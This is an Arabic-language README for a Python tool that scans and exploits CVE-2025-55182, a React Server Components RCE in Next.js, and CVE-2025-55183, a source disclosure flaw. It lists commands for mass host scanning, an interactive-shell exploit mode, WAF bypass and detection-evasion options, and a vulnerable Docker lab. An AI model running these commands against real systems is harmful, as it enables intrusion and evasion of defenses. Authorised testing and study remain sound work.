
ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) في مكونات خادم React (RSC). كما يتضمن "بيئة مختبرية" واقعية لاختبار الثغرة وفهمها بأمان.
يحتوي هذا المستودع على أداة ماسح لثغرة CVE-2025-55182 (تنفيذ التعليمات البرمجية عن بُعد - RCE) وCVE-2025-55183 (كشف الكود المصدري) في مكوّنات خادم React الخاصة بـ Next.js (RSC).
هذه الأداة مخصصة للأغراض التعليمية والاختبار المصرّح به فقط. لا تستخدم هذه الأداة على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. المؤلفون غير مسؤولين عن أي إساءة استخدام.
للحصول على تحليل تقني مفصل، يرجى الرجوع إلى: https://react2shell.com/
pip3 install -r requirements.txt
تحقق مما إذا كان عنوان URL الهدف معرضًا للخطر.
python3 CVE-2025-55182.py -u <url>
قم بفحص قائمة من المضيفين من ملف (مضيف واحد في كل سطر).
python3 CVE-2025-55182.py -l <hosts_file>
احصل على قشرة تفاعلية على هدف معرض للخطر.
python3 CVE-2025-55182.py -u <url> --exploit
تحقق مما إذا كان الهدف يسرّب الكود المصدري عبر Server Actions.
python3 CVE-2025-55182.py -u <url> --nextjs-rsc-source-code-disclosure
استخدم كشف القناة الجانبية (بناءً على التوقيت/الأخطاء) بدلاً من محاولة تنفيذ RCE.
python3 CVE-2025-55182.py -u <url> --safe-check
أضف بيانات غير مرغوب فيها (junk data) لتجاوز فحص محتوى WAF أو استخدم تجاوزات محددة.
# Standard WAF bypass (junk data)
python3 CVE-2025-55182.py -u <url> --waf-bypass --waf-bypass-size 128
# Vercel WAF bypass variant
python3 CVE-2025-55182.py -u <url> --vercel-waf-bypass
# Custom headers
python3 CVE-2025-55182.py -u <url> -H "Authorization: Bearer token" -H "X-Custom: Header"
# Proxy usage
python3 CVE-2025-55182.py -u <url> --proxy http://127.0.0.1:8080
# Random User-Agent and Delay
python3 CVE-2025-55182.py -u <url> --random-agent --delay 2.0
# Scan specific path
python3 CVE-2025-55182.py -u <url> --path /_next --path /api
احفظ النتائج في ملف بصيغة JSON أو CSV أو HTML. العلم --all-results يحفظ المضيفين المعرضين وغير المعرضين للخطر.
python3 CVE-2025-55182.py -u <url> -o results.json --format json --all-results
يمكنك تشغيل نسخة معرضة للخطر للاختبار باستخدام صورة Docker المرفقة:
docker build -t cve-local .
docker run --rm -p 3000:3000 cve-local
مهتم بأبحاث أمان Vercel؟ اطّلع على وثيقة البحث التعاونية الخاصة بنا:
📄 VERCEL_RESEARCH.md - دليل شامل من أجل:
افتح issue باستخدام وسم research للانضمام إلى النقاش!
| Argument | Description |
|---|
-u, --url | عنوان URL/مضيف واحد للفحص. |
-l, --list | ملف يحتوي على قائمة المضيفين لفحصها. |
--exploit | الدخول في وضع القشرة التفاعلية (يتطلب -u). |
--nextjs-rsc-source-code-disclosure | تحقق من كشف الكود المصدري (CVE-2025-55183). |
-t, --threads | عدد الخيوط المتزامنة (الافتراضي: 10). |
--timeout | مهلة الطلب بالثواني (الافتراضي: 10). |
-o, --output | ملف الإخراج للنتائج. |
--format | صيغة الإخراج: json, csv, html. |
--all-results | حفظ جميع النتائج، وليس فقط المعرضة للخطر. |
-k, --insecure | تعطيل التحقق من شهادة SSL. |
-H, --header | ترويسة مخصصة بصيغة 'Key: Value'. |
--path | مسار مخصص للاختبار (مثل '/_next'). |
--path-file | ملف يحتوي على قائمة المسارات للاختبار. |
--safe-check | استخدام كشف القناة الجانبية الآمن بدلاً من PoC الخاص بـ RCE. |
--windows | استخدام حمولة PowerShell الخاصة بنظام Windows. |
--waf-bypass | إضافة بيانات غير مرغوب فيها لتجاوز WAF. |
--waf-bypass-size | حجم البيانات غير المرغوب فيها بالكيلوبايت لتجاوز WAF. |
--vercel-waf-bypass | استخدام حمولة تجاوز Vercel WAF. |
--bypass-variant | تحديد متغير معين لتجاوز WAF (1-102) أو 'all'. |
-x, --proxy | عنوان URL للوكيل (مثل http://127.0.0.1:8080). |
--random-agent | استخدام User-Agent عشوائي لكل طلب. |
--delay | التأخير بين الطلبات بالثواني. |
-v, --verbose | إخراج مفصّل (إظهار مقتطفات الاستجابة). |
-q, --quiet | الوضع الهادئ (إظهار المضيفين المعرضين للخطر فقط). |
--no-color | تعطيل الإخراج الملون. |